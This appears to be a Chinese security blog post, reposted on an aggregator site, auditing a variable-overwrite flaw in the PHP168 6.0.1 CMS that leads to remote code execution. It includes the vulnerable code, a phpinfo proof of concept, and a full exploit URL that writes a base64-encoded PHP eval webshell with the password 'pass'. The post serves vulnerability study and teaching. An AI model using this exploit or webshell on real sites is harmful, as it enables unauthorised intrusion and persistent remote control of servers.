php168 6.0.1变量覆盖

news2024/12/23 18:24:10

php168 6.0.1变量覆盖 -》 远程代码执行漏洞

前言:敢说全网最详细是因为我做一半我做不下去了,我心态做崩溃了,然后上网找漏洞成因,我找不到,然后又搞了好久,真的心态崩了,到最后灰盒测试的时候我可能PHP版本原因,我php代码写的是
``
url是 ?job=abc
然后他真的输出 abc 了
当时php版本好像是5.2
找出来是php版本问题的时候我幼小的心灵真的受到了莫大的冲击
源码在附件里


1. 代码审计

1. 漏洞产生文件

图片


2. 漏洞函数
function get_html_url(){
    global $rsdb,$aid,$fidDB,$webdb,$fid,$page,$showHtml_Type,$Html_Type;
    $id=$aid;
    if($page$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

很明显变量覆盖
也就是说,我们get传参,传啥有啥
post也行其实
因为这里也对POST传参干了这么一套流程

图片


3. Add_s() 函数 过滤传参

往上找的话
可以看到一段

$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);

function Add_S($array){
    foreach($array as $key=>$value){
        if(!is_array($value)){
            $value=str_replace("&#x","& # x",$value);    //过滤一些不安全字符
            $value=preg_replace("/eval/i","eva l",$value);    //过滤不安全函数
            !get_magic_quotes_gpc() && $value=addslashes($value);
            $array[$key]=$value;
        }else{
            $array[$key]=Add_S($array[$key]); 
        }
    }
    return $array;
}

能看到 eval 是被过滤了
这里想要传入
${eval($_REQUEST[‘cmd’])}
是不太可能了
并且添加了魔术引号


既然找到了这里存在任意变量覆盖漏洞
我们就再回到post.php中看看上面还需要满足什么条件


4. showerr()函数追踪

我们可以看到showerr()的提示都是一些无权限
说明这里可能是类似于exit的东西,会停止页面执行

图片


全局搜索,追踪一下
我们可以看到这里一个 if 是退回上一级目录
在js中 history.back(-1) 这行代码就是退回上一级目录的意思
else 是去包含 showerr.htm 文件
然后退出

function showerr($msg,$type=''){
    global $webdb,$showerrMsg;
    $showerrMsg=$msg;
    if($type==1){
        $msg=str_replace("'","\'",$msg);
        echo "

        ";
    }else{
        require(PHP168_PATH."template/default/showerr.htm");
    }
    exit;
}

5. 条件分析

自下而上分析一下第一个条件

这里需要 $job 不等于 ‘postnew’
并且
$lfjid 的布尔值为 false 或者 为空 或者 为 0
两个条件都满足就会停止执行
如果我们想要触发漏洞
$job的值就需要是 ‘endHtml’
这里已经满足一个条件
只能从另一个条件入手
想办法让另一个条件不成立
亦或者 因为 这里的提示信息是 游客无权操作
所以只要我们不是游客身份,也就是注册个用户
再弄,就不会触发了

if(!$lfjid&&$job!='postnew')
{
    showerr("游客无权操作");
}

第二个条件

第二个 if 中有三个条件判断是,都是以 && 符号连接
也就是三个都满足才会执行

if($fidDB&&!$web_admin&&!in_array($groupdb[gid],explode(',',$fidDB[allowpost])))
{
    showerr("你所在用户组无权在本栏目“{$fidDB[name]}”有任何操作");
}
  1. $fidDB

  2. !$web_admin

  3. !inarray($groupdb[gid],explode(',',$fidDB[allowpost]))

这三个条件分别解释的话
1 存在$fidDB值且非0
2 web_admin 的值为 0 或 false
3 $groupdb[gid] 得到的值不存在于 explode(‘,’,$fidDB[allowpost])) 中

$fidDB的值是由第三个条件从而赋值的

我们先看第三个条件

第三个条件
$fid 和 $stop 两个变量有一个存在就会执行

if($fid||$step){
    $fidDB=$db->get_one("SELECT * FROM {$pre}sort WHERE fid='$fid'");
    !$fidDB && showerr("栏目有误");
    $fidDB[type]!=0 && showerr("你只能选择子栏目发表内容!");
}

$fidDB是根据 $fid 生成的
$fid的值并未在本页面赋值
可以判断这个可能也是由get传入
$$_key那里来进行赋值
所以应该不传入就行了


再向上最后一个 if 条件
if((!$fid&&!$only)||$jobs=="choose")

可以分为两个条件
两个条件满足一个就会触发
!fid&&!$only

$jobs=='choose'

第一个条件是说不存在 $fid 并且不存在$only
第二个条件是说需要 $jobs 等于 ‘choose’
这里的话直接实测一下他们的值


测试

直接访问
会提示你所在用户组无权发表文章

图片


然后我们打开代码发现
这条语句是自上而下第一个 if 的内容
我们在这个上面分别die一下这三个变量的值

图片


然后我们发现 this is 后面啥也没有
说明这里是空值
$only和$jobs也一样

图片


根据上面的分析条件
$fid是空值就是最好的状态
所以我们传入 only=1
删掉die语句
然后他让我登录…

图片


我们来寻找一下是哪个地方让我们登录的
通过die(‘abc’);
来查看代码到哪条语句之后让登录
哪条语句之前会 die 掉
就能找到是哪里让我们进行登录操作的

图片

图片


是这里的 showerror 函数拦截了我们
我们die一下 $lfjid 的值

图片

图片


根据这里的游客无权操作,我们可以得知应该注册账号就行了
但是因为前面的变量覆盖漏洞
我们试试看可不可以传入一个 lfjid=1 从而绕过

图片


可以发现还是不行
那就直接注册一个用户

图片


然后会发现页面没有提示了

图片


那么根据上面构造的语句
POC:

?showHtml_Type[bencandy][1]={${phpinfo()}}
&aid=1
&only=1
&job=endHtml

图片


GetShell

因为禁止了eval()函数
我们想要写入eval()木马的话
可以这样
{${phpinfo() and print(ok)}}
{${file_put_contents(“2.php”,base_decode(‘PD9AZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7Pz4g’)) and print(‘ok’)}}
结果我们发现页面上并没有打印ok

图片


这里的话因为php的版本问题(5.2.17)用下面的exp就能够生成木马
但是版本高了的话就不太能用了这个exp
因为魔术引号的存在就有了局限性
但是如果有CTF大佬的话这肯定也不在话下

exp就是下面这个
Mi5waHAg 是 2.php空格 的base64编码
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3Bhc3MnXSk7Pz4g 是一句话木马空格的base64编码
反正得在最后加一个空格,连着空格一起base64编码
就能得到这两串
按理来说里面是不允许存在 / = 这样的
/ 和 = 号也并未被拦截过滤,反正就是不能执行

通过这张截图就能看出来
因为这里的 die 语句我是写在 eval上面的
在最后命令执行的时候就是这个样子了
=和/都没被过滤

图片


EXP:

?showHtml_Type[bencandy][1]={${file_put_contents(base64_decode('Mi5waHAg'),base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3Bhc3MnXSk7Pz4g')) and print('ok')}}&aid=1&only=1&job=endHTML

会生成一个 2.php 密码为 pass 的文件


总结

这里其实也可以倒过来找漏洞
这里是从 eval 找到变量覆盖
其实也可以从变量覆盖的地方找到 eval rce
两种思路都可以
到了最后 exp 的地方我也蒙了
也不是很能找到原因
网上更是找不到相关的解析
找到的都要么直接放exp
要么就很乱的代码

修复建议

使用最新的cms框架

  申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1658266.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【论文阅读】Spectral–Spatial Attention Network for Hyperspectral Image Classification

Spectral–Spatial Attention Network for Hyperspectral Image Classification 论文地址摘要:1. 简介1.1.动机1.2.贡献 2. 相关作品2.1.双向递归网络RNN2.2.CNN2.3. Attention Mechanism 3. 方法3.1 Attention with RNN for Spectral Classification3.2&#xff0e…

【转载】数字化工厂规划蓝图报告

制造业进入到全新的数字化时代,需要构建新型智能工厂、数字化工厂与智能车间以助力传统产业智能制造升级,将新一代信息技术贯穿到设计、工艺、生产、物流等各个环节。目的是完善创新体系、提升产品质量、推行绿色制造、增强核心竞争力、发展现代化客户体…

4月功能更新 | 知识库新增微信分享图配置,丰富模板一键应用

4月HelpLook带来了更多知识库模板资源,直观的文章版本对比和微信分享图配置等功能,更多功能更新等你往下挖...... 目录 知识库管理功能升级 1. 知识库的全局替换支持替换标题2. 知识库支持配置微信分享图3. 知识库链接支持生成二维码和下载4. 后台站点栏…

计算机中GPU快不行的几个标志,看下有没有你遇到的

GPU是处理图形密集型任务的主要组件。尽管它非常耐用,但它最终会磨损并开始失效。在到达生命的终结之前,它通常会显示出即将发生故障的迹象,需要及时修复或更换。本指南详细介绍了这些标志。 在我们开始之前 在深入研究GPU故障的迹象之前,重要的是要承认,下面提到的一些…

来!给我讲讲分库分表!

你好面试官,在我的理解中分库分表分为四个类型,垂直分表、垂直分库、水平分表、水平分库。接下来我会对这几个名词谈谈我的理解,具体如下: 垂直分表 1)简单来说就是将原本的一张表切割成多张表。举个例子&#xff1a…

身份证OCR识别接口如何对接

身份证OCR识别接口又叫身份证识别API接口、身份证正反面文字识别接口,指的是传入身份证照片,精准识别静态身份证图像上的文字信息,如果传的是正面照片只返回正面信息,如果传的是反面只返回反面信息。那么身份证OCR识别接口如何对接…

SD-WAN助力企业实现多分支互联

随着企业规模的扩大和业务的多样化,多分支互联已成为许多行业不可或缺的网络架构。SD-WAN(软件定义广域网)作为一种创新的网络解决方案,以其独特的优势,正在助力企业实现更高效、智能和安全的多分支互联。 一、SD-WAN的…

应用层协议之 DNS 协议

DNS 就是一个域名解析系统。域名就是网址,类似于 www.baidu.com。网络上的服务器想要访问它,就得需要它对应的 IP 地址,同时,每个域名对对应着一个 / N个 IP 地址(即对应多台服务器)。 因此,为了…

解决uniapp软键盘弹起导致页面fixed定位元素被顶上去

在移动端开发中通常导航栏需要固定在页面的最顶端,但当页面中有输入框且dom元素较多时,点击输入框弹出软键盘会促使导航栏往上移 正常情况如图一所示,软键盘弹起如图二所示 图一 图二 解决办法 1)给输入框添加 :adjust-position…

本地搭建hydra服务用go以验证oidc流程

目录 1、docker搭建hydra,环境配置: 2、搭建完成后服务调用: 2.1保证服务正常启动: 2.2 通过postman调用,获取client_id: 2.3 通过client_id,实现oauth2/auth调用 3. 通过go语言实现oidc验…

一套C语言开发的 PACS影像系统源码 PACS系统的基本概念、系统业务流程

PACS系统基本概念 PACS,全称 Picture Archiving and Communication Systems,中文意为影像归档和通信系统。它是应用于医院影像科室的一种系统,主要任务是把日常产生的各种医学影像(包括核磁,CT,超声&#…

怎么将文字做成二维码?文本活码在线的生成技巧

文本类型的活码该如何来制作呢?通过二维码来展示文字信息是现在很常用的一种方式,包括物品、建筑、人员等方面的信息,都可以用生成二维码后让其他人通过扫码了解自己需要的信息。那么文本活码的制作需要几步操作呢?下面就教大家使…

CPU的星际穿越——“三维”解析“二维”之谜

文章目录 写在前面为什么三维的CPU能执行二维的指令二维指令是三维机器的抽象而已计算机所有东西都是三维的降维抽象没有软件没有指令二维到三维的总结操作系统的重塑 写在前面 以下是自己关于CPU为何能执行指令的迷惑的抽丝破茧的解答—— 困扰我的一个的问题之CPU的星际穿越…

RV1106点亮1.44寸SPI接口tftlcd

最近入手了一块微雪的幸狐RV1106微型Linux开发板,具体型号为Luckfox Pico Max,这是一款集成ARM Cortex-A7/RISC-V MCU/NPU/ISP等处理器。 根据微雪官网的wiki入门指导测试了一下,功能一切正常,感觉很nice,这款板子真的…

kubernate 基本概念

一 K8S 是什么? K8S 全称:Kubernetes 作用: 用于自动部署、扩展和管理“容器化(containerized)应用程序”的开源系统。 可以理解成 K8S 是负责自动化运维管理多个容器化程序(比如 Docker)的…

element-ui skeleton 组件源码分享

今日简单分享 skeleton 骨架屏组件源码,主要从以下四个方面来讲解: 1、skeleton 组件的页面结构 2、skeleton 组件的属性 3、skeleton item 组件的属性 4、skeleton 组件的 slot 一、skeleton 组件的页面结构 二、skeleton 组件的属性 2.1 animate…

开源项目介绍-02 Aubio【1】环境配置和使用 @ Ubuntu + Pycharm + Python

前言: aubio 是一组算法和工具,用于标记和变换音乐和声音。它扫描或监听音频信号,并尝试识别音乐事件。例如,当鼓被击打时,它能检测到音符的频率,或者一个有节奏的旋律的节拍是多少。 aubio 的功能包括&a…

在Ubuntu上安装Anaconda之后,启动失败

为了方便管理Pythonu环境,在Ubuntu的Docker容器中安装了Anaconda,安装完成,启动时出现如下错误: conda activate xxx usage: conda [-h] [--no-plugins] [-V] COMMAND ... conda: error: argument COMMAND: invalid choice: acti…

【计算机毕设】小型企业办公自动化系统+vue - 免费源码(私信领取)

免费领取源码 | 项目完整可运行 | v:chengn7890 诚招源码校园代理! 1. 研究目的 本项目旨在设计并实现一个小型企业办公自动化系统,利用Vue作为前端框架,为企业员工提供便捷的办公管理工具,提升…

Day23 代码随想录打卡|字符串篇---重复的子字符串

题目(leecode T459): 给定一个非空的字符串 s ,检查是否可以通过由它的一个子串重复多次构成。给定的字符串只含有小写英文字母,并且长度不超过10000。fang 移动匹配。分析可以由自己的子串构成的字符串,肯…